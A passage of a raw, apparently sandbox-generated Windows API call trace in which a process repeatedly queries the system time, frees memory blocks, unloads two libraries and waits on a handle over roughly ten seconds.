(_Block=0x2aef80) [0129.746] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0129.747] free (_Block=0x2b35c0) [0129.748] free (_Block=0x2ad3b0) [0129.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c5c4800, dwHighDateTime=0x1d8a92a)) [0129.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c5c4800, dwHighDateTime=0x1d8a92a)) [0129.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1c5c4800, dwHighDateTime=0x1d8a92a)) [0129.748] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0130.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cbb7f00, dwHighDateTime=0x1d8a92a)) [0130.400] free (_Block=0x2aefc0) [0130.400] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0130.402] free (_Block=0x2ad220) [0130.402] free (_Block=0x2ad270) [0130.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cbb7f00, dwHighDateTime=0x1d8a92a)) [0130.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cbb7f00, dwHighDateTime=0x1d8a92a)) [0130.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cbb7f00, dwHighDateTime=0x1d8a92a)) [0130.403] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0130.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cc2a320, dwHighDateTime=0x1d8a92a)) [0130.443] free (_Block=0x2aef80) [0130.443] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0130.444] free (_Block=0x2b8790) [0130.444] free (_Block=0x2ad3b0) [0130.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cc2a320, dwHighDateTime=0x1d8a92a)) [0130.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cc2a320, dwHighDateTime=0x1d8a92a)) [0130.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1cc2a320, dwHighDateTime=0x1d8a92a)) [0130.444] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0131.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d2b5fa0, dwHighDateTime=0x1d8a92a)) [0131.157] free (_Block=0x2af0c0) [0131.157] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0131.160] free (_Block=0x2ad270) [0131.160] free (_Block=0x2ad220) [0131.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d2dc100, dwHighDateTime=0x1d8a92a)) [0131.161] free (_Block=0x2aef80) [0131.161] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0131.161] free (_Block=0x2b35c0) [0131.162] free (_Block=0x2ad3b0) [0131.162] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0131.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d3283c0, dwHighDateTime=0x1d8a92a)) [0131.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d3283c0, dwHighDateTime=0x1d8a92a)) [0131.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d3283c0, dwHighDateTime=0x1d8a92a)) [0131.203] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0131.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d837280, dwHighDateTime=0x1d8a92a)) [0131.732] free (_Block=0x2aefa0) [0131.732] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0131.735] free (_Block=0x2ad3b0) [0131.735] free (_Block=0x2ad220) [0131.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d85d3e0, dwHighDateTime=0x1d8a92a)) [0131.736] free (_Block=0x2aef80) [0131.736] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0131.736] free (_Block=0x2b8790) [0131.737] free (_Block=0x2ad270) [0131.737] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0131.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d941c20, dwHighDateTime=0x1d8a92a)) [0131.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d941c20, dwHighDateTime=0x1d8a92a)) [0131.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1d941c20, dwHighDateTime=0x1d8a92a)) [0131.836] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0132.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1dec2f00, dwHighDateTime=0x1d8a92a)) [0132.407] free (_Block=0x2af000) [0132.407] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0132.411] free (_Block=0x2ad270) [0132.412] free (_Block=0x2ad220) [0132.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1dec2f00, dwHighDateTime=0x1d8a92a)) [0132.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1dec2f00, dwHighDateTime=0x1d8a92a)) [0132.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1dec2f00, dwHighDateTime=0x1d8a92a)) [0132.412] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0132.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1df35320, dwHighDateTime=0x1d8a92a)) [0132.455] free (_Block=0x2aef80) [0132.455] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0132.456] free (_Block=0x2b8790) [0132.456] free (_Block=0x2ad3b0) [0132.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1df35320, dwHighDateTime=0x1d8a92a)) [0132.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1df35320, dwHighDateTime=0x1d8a92a)) [0132.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1df35320, dwHighDateTime=0x1d8a92a)) [0132.457] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0133.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e574ce0, dwHighDateTime=0x1d8a92a)) [0133.118] free (_Block=0x2af0e0) [0133.118] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0133.119] free (_Block=0x2ad220) [0133.121] free (_Block=0x2ad270) [0133.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e574ce0, dwHighDateTime=0x1d8a92a)) [0133.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e574ce0, dwHighDateTime=0x1d8a92a)) [0133.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e574ce0, dwHighDateTime=0x1d8a92a)) [0133.121] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0133.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e6333c0, dwHighDateTime=0x1d8a92a)) [0133.194] free (_Block=0x2aef80) [0133.194] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0133.195] free (_Block=0x2b8790) [0133.195] free (_Block=0x2ad3b0) [0133.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e6333c0, dwHighDateTime=0x1d8a92a)) [0133.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e6333c0, dwHighDateTime=0x1d8a92a)) [0133.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1e6333c0, dwHighDateTime=0x1d8a92a)) [0133.196] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0133.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eaa9d00, dwHighDateTime=0x1d8a92a)) [0133.661] free (_Block=0x2aefc0) [0133.661] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0133.664] free (_Block=0x2ad270) [0133.664] free (_Block=0x2ad220) [0133.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eaa9d00, dwHighDateTime=0x1d8a92a)) [0133.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eaa9d00, dwHighDateTime=0x1d8a92a)) [0133.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eaa9d00, dwHighDateTime=0x1d8a92a)) [0133.664] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0133.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eb42280, dwHighDateTime=0x1d8a92a)) [0133.727] free (_Block=0x2aef80) [0133.727] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0133.727] free (_Block=0x2b35c0) [0133.728] free (_Block=0x2ad3b0) [0133.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eb42280, dwHighDateTime=0x1d8a92a)) [0133.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eb42280, dwHighDateTime=0x1d8a92a)) [0133.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1eb42280, dwHighDateTime=0x1d8a92a)) [0133.728] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0134.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f10f820, dwHighDateTime=0x1d8a92a)) [0134.330] free (_Block=0x2af0c0) [0134.330] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0134.333] free (_Block=0x2ad220) [0134.333] free (_Block=0x2ad270) [0134.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f10f820, dwHighDateTime=0x1d8a92a)) [0134.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f10f820, dwHighDateTime=0x1d8a92a)) [0134.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f10f820, dwHighDateTime=0x1d8a92a)) [0134.334] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0134.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f21a1c0, dwHighDateTime=0x1d8a92a)) [0134.446] free (_Block=0x2aef80) [0134.446] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0134.447] free (_Block=0x2b35c0) [0134.447] free (_Block=0x2ad3b0) [0134.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f21a1c0, dwHighDateTime=0x1d8a92a)) [0134.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f21a1c0, dwHighDateTime=0x1d8a92a)) [0134.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f21a1c0, dwHighDateTime=0x1d8a92a)) [0134.448] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0135.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f93e3c0, dwHighDateTime=0x1d8a92a)) [0135.195] free (_Block=0x2aefa0) [0135.195] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0135.197] free (_Block=0x2ad270) [0135.197] free (_Block=0x2ad220) [0135.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f93e3c0, dwHighDateTime=0x1d8a92a)) [0135.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f93e3c0, dwHighDateTime=0x1d8a92a)) [0135.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f93e3c0, dwHighDateTime=0x1d8a92a)) [0135.197] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0135.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f9b07e0, dwHighDateTime=0x1d8a92a)) [0135.237] free (_Block=0x2aef80) [0135.237] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0135.237] free (_Block=0x2b35c0) [0135.238] free (_Block=0x2ad3b0) [0135.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f9b07e0, dwHighDateTime=0x1d8a92a)) [0135.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f9b07e0, dwHighDateTime=0x1d8a92a)) [0135.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1f9b07e0, dwHighDateTime=0x1d8a92a)) [0135.238] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0135.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1fd1c780, dwHighDateTime=0x1d8a92a)) [0135.602] free (_Block=0x2af000) [0135.602] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0135.603] free (_Block=0x2ad220) [0135.604] free (_Block=0x2ad270) [0135.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1fd428e0, dwHighDateTime=0x1d8a92a)) [0135.604] free (_Block=0x2aef80) [0135.604] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0135.605] free (_Block=0x2b35c0) [0135.605] free (_Block=0x2ad3b0) [0135.606] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0135.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1fd8eba0, dwHighDateTime=0x1d8a92a)) [0135.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1fd8eba0, dwHighDateTime=0x1d8a92a)) [0135.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x1fd8eba0, dwHighDateTime=0x1d8a92a)) [0135.640] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0136.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x202e9d20, dwHighDateTime=0x1d8a92a)) [0136.210] free (_Block=0x2aefc0) [0136.210] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0136.212] free (_Block=0x2ad3b0) [0136.212] free (_Block=0x2ad270) [0136.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2030fe80, dwHighDateTime=0x1d8a92a)) [0136.213] free (_Block=0x2aef80) [0136.213] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0136.213] free (_Block=0x2b35c0) [0136.213] free (_Block=0x2ad220) [0136.214] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0136.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x203a8400, dwHighDateTime=0x1d8a92a)) [0136.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x203a8400, dwHighDateTime=0x1d8a92a)) [0136.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x203a8400, dwHighDateTime=0x1d8a92a)) [0136.277] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0137.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x209759a0, dwHighDateTime=0x1d8a92a)) [0137.026] free (_Block=0x2af0c0) [0137.026] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0137.027] free (_Block=0x2ad220) [0137.028] free (_Block=0x2ad270) [0137.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x209759a0, dwHighDateTime=0x1d8a92a)) [0137.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x209759a0, dwHighDateTime=0x1d8a92a)) [0137.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x209759a0, dwHighDateTime=0x1d8a92a)) [0137.028] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0137.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20acc600, dwHighDateTime=0x1d8a92a)) [0137.178] free (_Block=0x2aef80) [0137.179] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0137.179] free (_Block=0x2b35c0) [0137.180] free (_Block=0x2ad3b0) [0137.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20af2760, dwHighDateTime=0x1d8a92a)) [0137.180] free (_Block=0x2af0e0) [0137.180] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0137.182] free (_Block=0x2ad270) [0137.183] free (_Block=0x2ad220) [0137.183] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0137.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20e84860, dwHighDateTime=0x1d8a92a)) [0137.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20e84860, dwHighDateTime=0x1d8a92a)) [0137.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20e84860, dwHighDateTime=0x1d8a92a)) [0137.566] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0137.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20f42f40, dwHighDateTime=0x1d8a92a)) [0137.633] free (_Block=0x2af0e0) [0137.633] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0137.634] free (_Block=0x2b35c0) [0137.634] free (_Block=0x2ad220) [0137.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20f42f40, dwHighDateTime=0x1d8a92a)) [0137.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20f42f40, dwHighDateTime=0x1d8a92a)) [0137.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x20f42f40, dwHighDateTime=0x1d8a92a)) [0137.635] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0138.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21536640, dwHighDateTime=0x1d8a92a)) [0138.267] free (_Block=0x2aefa0) [0138.267] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0138.269] free (_Block=0x2ad270) [0138.269] free (_Block=0x2ad3b0) [0138.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21536640, dwHighDateTime=0x1d8a92a)) [0138.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21536640, dwHighDateTime=0x1d8a92a)) [0138.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21536640, dwHighDateTime=0x1d8a92a)) [0138.269] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0138.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21640fe0, dwHighDateTime=0x1d8a92a)) [0138.376] free (_Block=0x2af0e0) [0138.376] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0138.376] free (_Block=0x2b35c0) [0138.377] free (_Block=0x2ad220) [0138.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21640fe0, dwHighDateTime=0x1d8a92a)) [0138.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21640fe0, dwHighDateTime=0x1d8a92a)) [0138.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21640fe0, dwHighDateTime=0x1d8a92a)) [0138.377] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0139.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21fec940, dwHighDateTime=0x1d8a92a)) [0139.839] free (_Block=0x2af000) [0139.839] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0139.840] free (_Block=0x2ad3b0) [0139.841] free (_Block=0x2ad270) [0139.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21fec940, dwHighDateTime=0x1d8a92a)) [0139.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21fec940, dwHighDateTime=0x1d8a92a)) [0139.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x21fec940, dwHighDateTime=0x1d8a92a)) [0139.841] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0139.928] GetSystemTimeAsFileTime (in: 